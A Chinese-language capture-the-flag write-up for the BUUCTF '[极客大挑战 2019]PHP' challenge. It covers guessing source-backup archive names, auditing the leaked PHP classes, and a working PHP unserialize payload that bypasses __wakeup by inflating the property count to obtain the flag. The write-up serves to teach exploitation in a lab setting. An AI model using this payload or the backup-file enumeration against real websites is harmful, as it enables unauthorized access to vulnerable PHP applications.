题目来源:BUUCTF [极客大挑战 2019]PHP
目录
一、打开靶机,整理信息
二、解题思路
step 1:目录扫描、爆破
step 2:代码审计
1.index.php
2.class.php
3.flag.php
step 3:绕过__wakeup重置
编辑
三、小结
一、打开靶机,整理信息
根据题目名称php,以及页面的备份网站的提示,这里应该有下载备份文件,里面应该有php文件要进行代码审计
二、解题思路
step 1:目录扫描、爆破
目录扫描文件太多了,找不到有用信息,可以尝试输入网站源码备份文件,看看能不能碰对
常见的网站源码备份文件后缀:
tar、tgz、zip、rar、bak、7z
常见的网站源码备份文件名:
web、website、backup、back、www、wwwroot、temp
爆破一下
url传参看看,得到一个压缩文件夹,点进去得到一堆源码文件
整理一下进行代码审计
step 2:代码审计
1.index.php
index.php主要是设计,有用信息已经摘抄了
<?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);?>
文件包含class.php文件,并且是GET传参,参数为select,然后将其进行反序列化
2.class.php
<?php
include 'flag.php';error_reporting(0);class Name{//设置两个私有变量private $username = 'nonono';private $password = 'yesyes';//利用__construct构造函数,在创建对象时初始化$username和$password属性public function __construct($username,$password){$this->username = $username;$this->password = $password;}//当对象被反序列化时,__wakeup方法会被自动调用,将$username重置为guestfunction __wakeup(){$this->username = 'guest';}//当对象被销毁时,__destruct方法会被自动调用function __destruct(){if ($this->password != 100) { //检查password是否等于100echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') { //如果password等于100,则进一步检查username是否等于admin,等于则输出flagglobal $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>
代码总结:要想输出flag信息,就要绕过__wakeup重置,并且password要等于100,username要等于admin
3.flag.php
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
什么也不是
step 3:绕过__wakeup重置
根据上面代码审计结果,用脚本得到payload,脚本来源:[极客大挑战 2019]PHP 1_php 在线挑战-CSDN博客
<?php
class Name{private $username = 'admin';private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>
序列化结果有未显示字符,另外绕过wakeup方法要让成员属性数目大于实际数目
当成员属性数目大于实际数目时可绕过wakeup方法
所以要将序列化结果中的2改为3,将未显示字符变为%00,再传参
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
得到flag
三、小结
1.常见的网站源码备份文件后缀:
tar、tgz、zip、rar、bak、7z
常见的网站源码备份文件名:
web、website、backup、back、www、wwwroot、temp
2.当成员属性数目大于实际数目时可绕过wakeup方法